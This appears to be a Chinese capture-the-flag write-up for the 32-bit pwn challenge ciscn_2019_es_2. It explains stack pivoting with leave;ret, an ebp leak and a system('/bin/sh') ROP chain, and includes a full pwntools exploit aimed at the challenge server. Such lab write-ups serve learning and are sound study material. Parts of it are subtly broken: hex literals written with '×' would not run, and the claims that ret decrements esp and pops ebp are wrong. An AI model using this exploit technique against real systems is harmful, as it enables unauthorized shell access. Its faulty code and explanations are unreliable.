初步分析
拿到之后先checksec然后运行一下看看io信息。
使用32位IDA打开,查看关键的函数vul
,函数里创建了一个长度为0x28的buf
字符串,read
函数最大可输入长度为0x30,只可以已出8个字节,ebp占四个字节,然后就是返回地址4个字节。
函数列表里有system
函数,可是由于我们能溢出的字符串太短,没办法给system
函数构造参数,不能使用原本的技巧解题。所以这里考虑到了栈迁移,同时迁移栈空间足够后需要知道/bin/sh
的地址,这个可以通过read
来输入/bin/sh
,并且泄露一个地址,计算偏移量来找出输入/bin/sh
的地址。
现在来盘点下我们的思路:
- 存在栈溢出漏洞,但是由于可供溢出的空间太小,我们选择采用栈迁移,采用栈迁移必须要使用到
leave, ret
组合指令。 - 程序中存在
system
函数,我们可以在内存中存放一个字符串/bin/sh
,并且我们可以计算出该字符串在内存中的地址,我们就可以构造并执行system('/bin/sh')
。 - 可供我们使用的空间:本题中没有bss段可供我们使用,我们能用的之后read函数读入的0x30个字节的空间,我们目标就是将栈迁移到这0x30个字节上,扩大到足够让我们存放
/bin/sh
字符串并构造system函数。
栈溢出长度不足来直接 ROP,把栈迁移到别的地方来构造新的ROP链,一般利用leave_ret来进行栈迁移
leave指令和ret指令详解
leave
//move esp, ebp 将ebp指向的地址给esp
//pop ebp 将esp指向的地址存放的值赋值给ebp
ret
//pop eip 将esp指向的地址存放的值赋值给eip
使用ROPgadget查找到leave_ret地址:
栈迁移、栈劫持
我们都知道,ebp(我们将次称为ebp1)所指向的内存中存放的是上一次压入的ebp(我们将此称为ebp0),我们可以通过第一次的read函数和printf函数将该内容打印出来,但是打印出来之后的ebp0无法使用,原因是我们知道ebp1到buf的距离是0x28,而我们不知道ebp0到ebp1的距离是多少,这时候我们需要动态地调试一下程序,找到ebp0到ebp1之间的距离。
我们知道ebp1到buf的距离是0x28:
动态地调试一下程序,找到ebp0到ebp1之间的距离:
我们从将IDA View-A
窗口切换到文本视图(切换方法文末IDA使用技巧中有),查看vul
函数,在里面找到nop
这个指令,我们要在gdb中将断点设置在这个位置,然后查看ebp0和ebp1之间的距离。
如下图我们设置断点,并在每个输入里都输入’aaaa’。
紧接着我们使用stack 20
查看栈的前20项。清楚地我们看到ebp所指向的地址(即ebp1)为0xffffcfe8,此时ebp里的存放的内容(即ebp0)为0xffffcff8,同时我们也找到我们的输入‘aaaa’所在的位置(即esp),相距ebp1的距离确实0x28。此时,我们可以计算出ebp1到ebp0的距离为0x10。(由于我们最终需要的是ebp0到buf间的距离,所以直接使用ebp0减去esp也可)
payload
from pwn import *
context.binary = './ciscn_2019_es_2'
elf = context.binary
io = remote('node4.buuoj.cn' ,27790)
system = elf.sym[ 'system' ]
leave_ret = 0x080484b8
payload = b'a'*0×24
payload += b'b'*4
io.recvline()
io.send(payload)
io.recvuntil(b'bbbb')
ebp_difference = 0×10
ebp0 = io.recv(4).ljust(4,b'\0')
print(ebp0)
ebp0 = u32(ebp0)
print (hex(ebp0))
payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+4*0×4)
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)
io.sendlineafter(b'\n' ,payload)
io.interactive()
- 第一次read泄露ebp地址
"""
第一次read,目的是泄露ebp0的值,
方便我们计算栈迁移时的目的地,
以及我们存放/bin/sh字符串的地址
"""
payload = b'a'*0×24
payload += b'b'*4
io.recvline()
io.send(payload)
- 第二次read利用leave_ret劫持地址
payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+4*0×4)
"""
我们使用ebp0,计算出了/bin/sh字符串的地址,
ebp0-ebp_difference就等于ebp1的值,
ebp0-ebp_difference-0x28就是payload最开头'aaaa'的地址,
b'aaaa'、p32(system)、b'read'、p32(ebp0-ebp_difference-0x28+4*0×4)
每个都占四个字节,所以这地方再加上4*4
就到了字符串/bin/sh的地址
该地址我们可以随意构造,比如说我们可以再将它往下推4个字节,这时我们的地址索引就要再加上4如:
payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+5*0×4)
payload += b'aaaa'
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)
"""
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)
图解栈迁移的过程
第一次leave_ret过程
第二次read函数输入后的状态:
第一次leave_ret中leave的mov esp,ebp操作(这个leave_ret就是vul函数最后的两个汇编指令)
第一次leave_ret中leave的pop ebp,esp=esp+4(不能忘!)指向leave_ret:
第一次leave_ret中 ret 的pop ebp:
第二次leave_ret过程
第二次leave_ret中 leave 的 move esp ebp:(这个leave_ret是我们在rop链中利用ROPgadget构造的leave_ret)
第二次leave_ret中 leave 的 pop ebp
第二次leave_ret 中 ret 的 pop eip
经验总结
栈迁移之类的题是第一次写,重要的步骤有以下几点:
- 找到要迁移的目的地,可以使bss段,也可以是如本题的栈上,我们首先要解决的第一个问题是目的地的地址是否已知,bss段上的地址可以直接查看,而栈上的地址则需要我们泄露出ebp之后再计算。
- 不能忘记 ret 中 pop eip 的操作会将 esp-4
- system函数执行时,需要知道的是字符串的地址,我们要将/bin/sh字符串存入内存,在计算出其地址值,才能构造system函数使用。
IDA使用技巧
如果在文本视图(text view)界面,右键单击会出现菜单,里面可以切换到图形视图(Graph view)。相反同理,可以从图形视图右键单击切换到文本视图。
参考连接
https://blog.csdn.net/weixin_45743302/article/details/118066603